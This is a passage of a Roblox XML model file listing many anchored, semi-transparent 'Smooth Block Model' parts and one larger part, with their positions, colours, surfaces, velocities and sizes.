					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>2.15930613e-005</X>
					<Y>0.0149411345</Y>
					<Z>0.000507913413</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00161788648</X>
					<Y>0.0125161363</Y>
					<Z>0.00157548254</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1120">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003204</X>
					<Y>2.19902086</Y>
					<Z>13.9998703</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>2.15930613e-005</X>
					<Y>0.0149411345</Y>
					<Z>0.000507913413</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00222761068</X>
					<Y>0.0125161363</Y>
					<Z>0.00154957082</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1121">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000916</X>
					<Y>8.19927692</Y>
					<Z>22.0006962</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1122">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0001755</X>
					<Y>8.19968796</Y>
					<Z>20.0001774</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000786813791</X>
					<Y>0.0917104632</Y>
					<Z>-0.000247492804</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00245973864</X>
					<Y>-0.00542633561</Y>
					<Z>0.00137755438</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1123">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>169.5</X>
					<Y>4.5999999</Y>
					<Z>75</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>8.40000057</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1124">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-28.5</X>
					<Y>38.2000046</Y>
					<Z>-70.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>17</X>
					<Y>10.8000002</Y>
					<Z>19</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1125">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000916</X>
					<Y>9.3995924</Y>
					<Z>22.0007019</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1126">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0001678</X>
					<Y>6.99962711</Y>
					<Z>20.0001774</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000786813791</X>
					<Y>0.0917104632</Y>
					<Z>-0.000247492804</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00216274732</X>
					<Y>-0.00542633189</Y>
					<Z>0.00232313015</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1127">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0001564</X>
					<Y>5.79962635</Y>
					<Z>20.0001564</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000786813791</X>
					<Y>0.0917104632</Y>
					<Z>-0.000247492804</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.001865756</X>
					<Y>-0.00542632816</Y>
					<Z>0.00326870591</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1128">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0001945</X>
					<Y>5.79964161</Y>
					<Z>17.9999733</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00134955195</X>
					<Y>0.063908346</Y>
					<Z>-0.00019630765</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00375261693</X>
					<Y>0.00694813486</Y>
					<Z>0.00241176505</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1129">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003662</X>
					<Y>0.999726176</Y>
					<Z>12.0000792</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0012258339</X>
					<Y>-0.00355757866</Y>
					<Z>6.85940322e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00177045516</X>
					<Y>0.00606262684</Y>
					<Z>0.00285047991</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1130">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003281</X>
					<Y>0.999023318</Y>
					<Z>13.9998655</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>2.15930613e-005</X>
					<Y>0.0149411345</Y>
					<Z>0.000507913413</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00283733476</X>
					<Y>0.0125161363</Y>
					<Z>0.0015236591</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1131">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003281</X>
					<Y>2.19970751</Y>
					<Z>16.0002365</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000938967511</X>
					<Y>0.065105997</Y>
					<Z>0.000350015209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.000313593278</X>
					<Y>0.00366103486</Y>
					<Z>0.00390336127</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1132">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.000351</X>
					<Y>3.39964581</Y>
					<Z>12.0001011</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0012258339</X>
					<Y>-0.00355757866</Y>
					<Z>6.85940322e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00193508086</X>
					<Y>0.00606262684</Y>
					<Z>-9.15215205e-005</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1133">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
